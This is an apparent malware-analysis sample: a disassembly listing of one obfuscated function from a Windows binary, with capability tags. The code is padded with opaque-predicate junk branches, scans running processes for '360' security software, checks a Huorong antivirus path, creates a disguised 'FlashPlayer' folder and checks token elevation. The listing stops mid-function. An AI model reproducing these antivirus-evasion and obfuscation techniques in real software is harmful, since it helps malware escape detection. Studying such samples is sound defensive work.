Function at 0x140006b30
Capabilities:
Create process on windows
Get file attributes
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x828
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x7a0], 0xfffffffffffffffe
lea rdx, [rbp + 0x100]
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140006bdd
mov edx, dword [0x1400cb5d0]
mov ecx, dword [0x1400cb5d4]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140006bce
test eax, eax
je 0x140006bce
lea rsi, [rbp + 0x620]
lea rdx, [rbp + 0x100]
mov rcx, rsi
call fcn.140001c20
lea rdx, [0x1400b795f]
mov rcx, rsi
mov r8, 0xffffffffffffffff
call fcn.1400097b0
mov edx, dword [0x1400cb5d0]
mov ecx, dword [0x1400cb5d4]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140006c12
test eax, eax
jne 0x140006c58
jmp 0x140006c12
mov edx, dword [0x1400cb5d0]
mov r8d, dword [0x1400cb5d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
mov eax, 1
cmp r8d, 0xa
jl 0x140006d77
test ecx, ecx
je 0x140006d77
nop word [rax + rax]
jmp 0x140006c10
lea rsi, [rbp + 0x620]
lea rdx, [rbp + 0x100]
mov rcx, rsi
call fcn.140001c20
lea rdx, [0x1400b795f]
mov rcx, rsi
mov r8, 0xffffffffffffffff
call fcn.1400097b0
cmp dword [0x1400cb5d4], 0xa
jl 0x140006c86
mov ecx, dword [0x1400cb5d0]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140006c86
lea rsi, [rbp + 0x620]
lea rdx, [rbp + 0x100]
mov rcx, rsi
call fcn.140001c20
lea rdx, [0x1400b795f]
mov rcx, rsi
mov r8, 0xffffffffffffffff
call fcn.1400097b0
jmp 0x140006c12
cmp rax, 0xffffffffffffffff
je 0x140006cd2
inc rax
lea rcx, [rbp + 0x620]
lea rdx, [rbp + 0x5a0]
mov r8, rax
mov r9, 0xffffffffffffffff
call fcn.140009850
mov edx, dword [0x1400cb5d0]
mov ecx, dword [0x1400cb5d4]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140006d12
test eax, eax
je 0x140006d12
nop word [rax + rax]
jmp 0x140006cd0
lea rcx, [rbp + 0x5a0]
lea rdx, [rbp + 0x620]
call fcn.1400060e0
mov edx, dword [0x1400cb5d0]
mov ecx, dword [0x1400cb5d4]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140006d12
test eax, eax
je 0x140006d12
nop word cs:[rax + rax]
jmp 0x140006d10
cmp ecx, 0xa
jl 0x140006d22
test eax, eax
je 0x140006d22
nop dword [rax + rax]
jmp 0x140006d20
cmp qword [rbp + 0x5b0], 0xc
jne 0x1400088ed
call fcn.1400042d0
cmp dword [0x1400cb5d4], 0xa
jl 0x140006d56
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140006d56
call fcn.1400042d0
jmp 0x140006d30
call fcn.140004460
cmp dword [0x1400cb5d4], 0xa
jl 0x140006da6
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140006dd8
jmp 0x140006da6
cmp r8d, 0xa
jl 0x140006d92
test ecx, ecx
je 0x140006d92
nop word cs:[rax + rax]
jmp 0x140006d90
add rsp, 0x828
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
mov dword [rbp - 0x30], 0x130
mov ecx, dword [0x1400cb5d0]
mov edx, dword [0x1400cb5d4]
cmp edx, 0xa
jl 0x140006ded
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
je 0x140006ded
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [rbp - 0x30], 0x130
jmp 0x140006da6
xor eax, eax
mov qword [rbp + 0x790], rax
lea rbx, [rbp - 4]
lea r14, [rbp + 0x210]
mov r13, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r15, [rbp + 0x658]
lea r12, [rbp - 0x30]
jmp 0x140006e28
test eax, eax
je 0x140007122
cmp edx, 0xa
jl 0x140006e40
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
jne 0x1400070e0
nop dword [rax]
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x28], 0x104
xor ecx, ecx
xor edx, edx
mov r8, rbx
mov r9d, 0xffffffff
call r13
cmp dword [0x1400cb5d4], 0xa
jl 0x140006ea0
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140006ea0
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x28], 0x104
xor ecx, ecx
xor edx, edx
mov r8, rbx
mov r9d, 0xffffffff
call r13
jmp 0x140006e40
mov rcx, r15
mov rdx, r14
call fcn.140009960
mov edx, dword [0x1400cb5d0]
mov eax, dword [0x1400cb5d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140006ecd
test ecx, ecx
jne 0x1400070f0
cmp qword [rbp + 0x670], 8
mov rdx, r15
jb 0x140006ee1
mov rdx, qword [rbp + 0x658]
mov r9, qword [rbp + 0x668]
cmp r9, 3
jb 0x140006f70
lea r8, [rdx + r9*2]
add r8, 0xfffffffffffffffc
cmp r8, rdx
je 0x140006f70
lea r9, [rdx + r9*2]
add r9, 0xfffffffffffffffa
mov r10, rdx
mov r11, r8
sub r11, r10
sar r11, 1
add r10, 2
nop word [rax + rax]
cmp word [r10 - 2], 0x33
je 0x140006f40
add r10, 2
dec r11
jne 0x140006f20
jmp 0x140006f70
lea r11, [r10 - 2]
cmp word [r10], 0x36
jne 0x140006f53
cmp word [r10 + 2], 0x30
je 0x140006f5c
xor esi, esi
cmp r11, r9
jne 0x140006f0a
jmp 0x140006f72
cmp r11, rdx
sete dl
je 0x140006fff
nop dword [rax + rax]
xor esi, esi
cmp eax, 0xa
jl 0x140006f80
test ecx, ecx
jne 0x140007100
nop
mov rcx, r15
call fcn.140009b60
mov ecx, dword [0x1400cb5d0]
mov eax, dword [0x1400cb5d4]
cmp eax, 0xa
jl 0x140006fb0
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140006fb0
mov rcx, r15
call fcn.140009b60
jmp 0x140006f80
test sil, sil
jne 0x140007102
nop dword [rax]
mov rcx, rdi
mov rdx, r12
call sub.KERNEL32.dll_Process32Next
mov ecx, dword [0x1400cb5d0]
mov edx, dword [0x1400cb5d4]
cmp edx, 0xa
jl 0x140006e20
lea r8d, [rcx + 1]
imul r8d, ecx
and r8d, 1
je 0x140006e20
mov rcx, rdi
mov rdx, r12
call sub.KERNEL32.dll_Process32Next
jmp 0x140006fc0
mov byte [rbp + 0x79f], dl
xor ecx, ecx
lea rdx, [0x1400b7a96]
lea r8, [0x1400b7ada]
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1400cb5d0]
mov eax, dword [0x1400cb5d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
mov edx, 1
mov qword [rbp + 0x790], rdx
mov sil, 1
cmp eax, 0xa
jl 0x140006f72
test ecx, ecx
je 0x140006f72
xor ecx, ecx
lea rdx, [0x1400b7a96]
lea r8, [0x1400b7ada]
mov r9d, 0x40
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
mov rcx, rdi
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
xor ecx, ecx
lea rdx, [0x1400b7a96]
lea r8, [0x1400b7ada]
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rdi
call rsi
mov edx, dword [0x1400cb5d0]
mov eax, dword [0x1400cb5d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x1400070c9
test ecx, ecx
jne 0x14000705f
movzx edx, byte [rbp + 0x79f]
mov esi, edx
jmp 0x140006f72
jmp 0x1400070e0
jmp 0x1400070f0
jmp 0x140007100
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x140007162
test edx, edx
je 0x140007162
nop word cs:[rax + rax]
jmp 0x140007120
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1400b791a]
lea rcx, [rbp + 0x658]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x140007226
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007226
jmp 0x140007160
lea rcx, [rbp + 0x5a0]
call fcn.140001f60
lea rcx, [rbp + 0x620]
call fcn.140001f60
mov edx, dword [0x1400cb5d0]
mov r8d, dword [0x1400cb5d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp r8d, 0xa
jl 0x14000721a
test ecx, ecx
je 0x14000721a
lea rdi, [rbp + 0x5a0]
lea rbx, [rbp + 0x620]
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
cmp dword [0x1400cb5d4], 0xa
jl 0x1400071ea
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x1400071b0
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
mov edx, dword [0x1400cb5d0]
mov r8d, dword [0x1400cb5d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp r8d, 0xa
jl 0x14000721a
test ecx, ecx
jne 0x1400071b0
mov rax, qword [rbp + 0x790]
jmp 0x140006d77
lea rdx, [0x1400b78d7]
lea rcx, [rbp + 0x420]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x140007262
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007262
nop word cs:[rax + rax]
jmp 0x140007260
lea rdx, [0x1400b78d3]
lea rcx, [rbp + 0x440]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x140007292
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007292
nop
jmp 0x140007290
lea rdx, [0x1400b7916]
lea rcx, [rbp + 0x460]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x1400072c2
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400072c2
nop
jmp 0x1400072c0
lea rdx, [0x1400b790f]
lea rcx, [rbp + 0x480]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x1400072f2
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400072f2
nop
jmp 0x1400072f0
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x658]
mov r8d, 3
mov r9d, 1
call fcn.140009f50
cmp dword [0x1400cb5d4], 0xa
jl 0x140007332
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007332
nop dword [rax + rax]
jmp 0x140007330
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x780]
call fcn.140009eb0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007362
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007362
nop
jmp 0x140007360
lea rcx, [rbp + 0x210]
call fcn.14000a3c0
cmp dword [0x1400cb5d4], 0xa
jl 0x1400073db
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400073db
lea rsi, [rbp + 0x210]
mov rcx, rsi
call fcn.14000a3c0
mov rcx, rsi
call fcn.14000a3c0
cmp dword [0x1400cb5d4], 0xa
jl 0x1400073b9
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x14000738f
mov rcx, rsi
call fcn.14000a3c0
cmp dword [0x1400cb5d4], 0xa
jl 0x1400073db
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x14000738f
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x420]
mov r8d, 3
mov r9d, 1
call fcn.140009f50
cmp dword [0x1400cb5d4], 0xa
jl 0x140007422
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007422
nop word cs:[rax + rax]
jmp 0x140007420
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x784]
call fcn.140009eb0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007452
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007452
nop
jmp 0x140007450
lea rcx, [rbp + 0x210]
call fcn.14000a3c0
mov esi, dword [rbp + 0x780]
mov eax, dword [rbp + 0x784]
cmp dword [0x1400cb5d4], 0xa
jl 0x1400074c1
mov ecx, dword [0x1400cb5d0]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x1400074c1
lea rdi, [rbp + 0x210]
mov rcx, rdi
call fcn.14000a3c0
mov rcx, rdi
call fcn.14000a3c0
mov esi, dword [rbp + 0x780]
mov eax, dword [rbp + 0x784]
cmp dword [0x1400cb5d4], 0xa
jl 0x1400074c1
mov ecx, dword [0x1400cb5d0]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
jne 0x14000748b
add esi, eax
cmp dword [0x1400cb5d8], 0xa
jl 0x140007512
mov eax, dword [0x1400cb5dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007512
lea rdi, [rbp + 0x5c0]
mov rcx, rdi
mov edx, esi
call fcn.140076220
mov rcx, rdi
mov edx, esi
call fcn.140076220
cmp dword [0x1400cb5d8], 0xa
jl 0x140007512
mov eax, dword [0x1400cb5dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x1400074e4
lea rdi, [rbp + 0x5c0]
mov rcx, rdi
mov edx, esi
call fcn.140076220
cmp dword [0x1400cb5d8], 0xa
jl 0x140007549
mov eax, dword [0x1400cb5dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007549
mov rcx, rdi
mov edx, esi
call fcn.140076220
jmp 0x140007519
cmp dword [0x1400cb5d4], 0xa
jl 0x140007565
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007565
jmp 0x140007563
lea rcx, [rbp + 0x4a0]
lea rdx, [rbp + 0x5c0]
call fcn.1400060e0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007594
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007594
jmp 0x140007592
lea r8, [0x1400b7a0e]
lea rcx, [rbp + 0x760]
lea rdx, [rbp + 0x4a0]
call fcn.140003f50
cmp dword [0x1400cb5d4], 0xa
jl 0x1400075ca
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400075ca
jmp 0x1400075c8
lea rcx, [rbp + 0x738]
lea rdx, [rbp + 0x760]
lea r8, [rbp + 0x440]
call fcn.140003ed0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007600
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007600
jmp 0x1400075fe
lea r8, [0x1400b7a0e]
lea rcx, [rbp + 0x600]
lea rdx, [rbp + 0x738]
call fcn.140005f00
cmp dword [0x1400cb5d4], 0xa
jl 0x140007636
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007636
jmp 0x140007634
lea rcx, [rbp + 0x678]
lea rdx, [rbp + 0x600]
lea r8, [rbp + 0x460]
call fcn.140003ed0
cmp dword [0x1400cb5d4], 0xa
jl 0x14000766c
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000766c
jmp 0x14000766a
lea r8, [0x1400b7a0e]
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x678]
call fcn.140005f00
cmp dword [0x1400cb5d4], 0xa
jl 0x1400076a2
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400076a2
jmp 0x1400076a0
lea rcx, [rbp + 0x4c0]
lea rdx, [rbp + 0x210]
lea r8, [rbp + 0x480]
call fcn.140003ed0
cmp dword [0x1400cb5d4], 0xa
jl 0x1400076d8
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400076d8
jmp 0x1400076d6
lea rsi, [rbp + 0x210]
lea rdi, [rbp + 0x678]
lea rbx, [rbp + 0x600]
lea r14, [rbp + 0x738]
lea r15, [rbp + 0x760]
mov rcx, rsi
call fcn.140001f60
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
mov rcx, r14
call fcn.140001f60
mov rcx, r15
call fcn.140001f60
cmp dword [0x1400cb5d4], 0xa
jl 0x140007767
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007767
mov rcx, rsi
call fcn.140001f60
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
mov rcx, r14
call fcn.140001f60
mov rcx, r15
call fcn.140001f60
jmp 0x1400076fb
lea rcx, [rbp + 0x678]
lea rdx, [rbp + 0x4c0]
call fcn.1400060e0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007796
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007796
jmp 0x140007794
lea rcx, [rbp + 0x758]
lea rdx, [rbp + 0x678]
call fcn.140001d30
cmp dword [0x1400cb5d4], 0xa
jl 0x1400077c5
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400077c5
jmp 0x1400077c3
lea rdx, str._common__stmapi
lea rcx, [rbp + 0x210]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x1400077f4
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400077f4
jmp 0x1400077f2
mov rcx, qword [rbp + 0x758]
lea rdx, [rbp + 0x600]
lea r8, [rbp + 0x210]
call fcn.140076660
cmp dword [0x1400cb5d4], 0xa
jl 0x14000782a
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140007850
jmp 0x14000782a
lea rcx, [rbp + 0x210]
call fcn.140001f60
cmp dword [0x1400cb5d4], 0xa
jl 0x14000785e
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000785e
lea rcx, [rbp + 0x210]
call fcn.140001f60
jmp 0x14000782a
call fcn.140004980
cmp dword [0x1400cb5d4], 0xa
jl 0x14000787f
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000787f
jmp 0x14000787d
lea rdx, str.C:Program_FilesHuorongSysdiag_binx86
lea rsi, [rbp + 0x738]
mov rcx, rsi
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x1400078b1
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400078b1
jmp 0x1400078af
lea rdx, str.C:_ProgramData_FlashPlayer
lea rcx, [rbp + 0x760]
xor r8d, r8d
call fcn.14000a470
cmp dword [0x1400cb5d4], 0xa
jl 0x1400078e3
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400078e3
jmp 0x1400078e1
lea rdi, [rbp + 0x760]
mov rcx, rdi
call fcn.14000a6d0
mov r8d, dword [0x1400cb5d0]
mov edx, dword [0x1400cb5d4]
lea ecx, [r8 + 1]
imul ecx, r8d
and ecx, 1
cmp edx, 0xa
jl 0x140007915
test ecx, ecx
je 0x140007915
jmp 0x140007913
test al, al
je 0x140007950
lea rcx, [rbp + 0x760]
call fcn.14000a810
mov r8d, dword [0x1400cb5d0]
mov edx, dword [0x1400cb5d4]
lea ecx, [r8 + 1]
imul ecx, r8d
and ecx, 1
cmp edx, 0xa
jl 0x140007948
test ecx, ecx
je 0x140007948
jmp 0x140007946
test al, al
jne 0x140007a15
cmp edx, 0xa
jl 0x14000795b
test ecx, ecx
je 0x14000795b
jmp 0x140007959
cmp qword [rbp + 0x778], 8
jb 0x14000796c
mov rdi, qword [rbp + 0x760]
mov rcx, rdi
call fcn.1400961e8
cmp dword [0x1400cb5e0], 0xa
jl 0x1400079e1
mov ecx, dword [0x1400cb5e4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x1400079e1
lea rdi, [rbp + 0x760]
cmp qword [rbp + 0x778], 8
mov rcx, rdi
jb 0x1400079a9
mov rcx, qword [rbp + 0x760]
call fcn.1400961e8
cmp qword [rbp + 0x778], 8
mov rcx, rdi
jb 0x1400079c2
mov rcx, qword [rbp + 0x760]
call fcn.1400961e8
cmp dword [0x1400cb5e0], 0xa
jl 0x1400079e1
mov ecx, dword [0x1400cb5e4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
jne 0x140007995
mov rdx, rax
shr rdx, 0x20
jne 0x140007cba
mov r8d, dword [0x1400cb5d0]
mov edx, dword [0x1400cb5d4]
lea ecx, [r8 + 1]
imul ecx, r8d
and ecx, 1
cmp edx, 0xa
jl 0x140007a11
test ecx, ecx
je 0x140007a11
jmp 0x140007a0f
test al, al
je 0x140007a57
cmp edx, 0xa
jl 0x140007a20
test ecx, ecx
je 0x140007a20
jmp 0x140007a1e
lea rdx, [0x1400b78de]
lea rcx, [rbp + 0x6d8]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x140007b67
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007b67
jmp 0x140007a55
mov qword [rbp + 0x6d8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x6d8]
mov rcx, rax
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ecx, dword [0x1400cb5d0]
mov edx, dword [0x1400cb5d4]
cmp edx, 0xa
jl 0x140007b04
lea r8d, [rcx + 1]
imul r8d, ecx
and r8d, 1
je 0x140007b04
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea rsi, [rbp + 0x6d8]
mov qword [rbp + 0x6d8], 0
call rdi
mov rcx, rax
mov edx, 8
mov r8, rsi
call rbx
mov qword [rbp + 0x6d8], 0
call rdi
mov rcx, rax
mov edx, 8
mov r8, rsi
call rbx
mov ecx, dword [0x1400cb5d0]
mov edx, dword [0x1400cb5d4]
cmp edx, 0xa
jl 0x140007b04
lea r8d, [rcx + 1]
imul r8d, ecx
and r8d, 1
jne 0x140007ab1
test eax, eax
je 0x140007bd8
mov rcx, qword [rbp + 0x6d8]
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x210]
mov edx, setsockopt
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov edx, dword [0x1400cb5d0]
lea ecx, [rdx + 1]
imul ecx, edx
mov edx, dword [0x1400cb5d4]
test eax, eax
je 0x140007c24
cmp edx, 0xa
jl 0x140007c28
mov eax, ecx
and eax, 1
je 0x140007c28
jmp 0x140007b65
lea rdx, [0x1400b7921]
lea rcx, [rbp + 0x4e0]
call fcn.140001c20
lea rdx, [0x1400b7913]
lea rcx, [rbp + 0x500]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x140007ba9
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007ba9
jmp 0x140007ba7
lea rdx, [0x1400b78da]
lea rcx, [rbp + 0x520]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x140007bf5
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007bf5
jmp 0x140007bd6
cmp edx, 0xa
jl 0x140007d1a
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
jne 0x140007d10
jmp 0x140007d1a
lea rdx, [0x1400b791d]
lea rcx, [rbp + 0x540]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x140007c45
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007c45
jmp 0x140007c22
xor esi, esi
jmp 0x140007c2e
mov esi, dword [rbp + 0x210]
cmp edx, 0xa
jl 0x140007ccd
and ecx, 1
jne 0x140007cf8
jmp 0x140007ccd
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x4e0]
mov r8d, 3
mov r9d, 1
call fcn.140009f50
cmp dword [0x1400cb5d4], 0xa
jl 0x140007c80
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007c80
jmp 0x140007c7e
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x788]
call fcn.140009eb0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007e1e
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140007e44
jmp 0x140007e1e
lea rcx, str.create_directory
lea r8, [rbp + 0x760]
call fcn.14007bc50
mov rcx, qword [rbp + 0x6d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1400cb5d0]
mov ecx, dword [0x1400cb5d4]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140007d07
test eax, eax
je 0x140007d07
mov rcx, qword [rbp + 0x6d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140007ccd
cmp ecx, 0xa
jl 0x140007d12
test eax, eax
je 0x140007d12
jmp 0x140007d10
test esi, esi
jne 0x140007e08
lea rsi, [rbp + 0x210]
mov r14, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdi, str.S_MR_vz
lea rbx, [0x1400b7ad0]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call r14
xor ecx, ecx
mov rdx, rdi
mov r8, rbx
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp dword [0x1400cb5d4], 0xa
jl 0x140007ddc
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007ddc
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call r14
xor ecx, ecx
mov rdx, rdi
mov r8, rbx
mov r9d, 0x40
mov r15, qword [sym.imp.USER32.dll_MessageBoxW]
call r15
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call r14
xor ecx, ecx
mov rdx, rdi
mov r8, rbx
mov r9d, 0x40
call r15
mov ecx, dword [0x1400cb5d0]
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
cmp dword [0x1400cb5d4], 0xa
jl 0x140007d36
test eax, eax
jne 0x140007d72
jmp 0x140007d36
lea rcx, [rbp + 0x210]
call fcn.140002950
mov edx, dword [0x1400cb5d0]
mov ecx, dword [0x1400cb5d4]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140007e08
test eax, eax
je 0x140007e08
jmp 0x140007e06
cmp ecx, 0xa
jl 0x140007e13
test eax, eax
je 0x140007e13
jmp 0x140007e11
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rcx, [rbp + 0x210]
call fcn.14000a3c0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007e52
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007e52
lea rcx, [rbp + 0x210]
call fcn.14000a3c0
jmp 0x140007e1e
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x500]
mov r8d, 3
mov r9d, 1
call fcn.140009f50
cmp dword [0x1400cb5d4], 0xa
jl 0x140007e8d
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007e8d
jmp 0x140007e8b
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x78c]
call fcn.140009eb0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007ebc
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007ebc
jmp 0x140007eba
lea rcx, [rbp + 0x210]
call fcn.14000a3c0
mov edi, dword [rbp + 0x788]
mov eax, dword [rbp + 0x78c]
cmp dword [0x1400cb5d4], 0xa
jl 0x140007f4d
mov ecx, dword [0x1400cb5d0]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
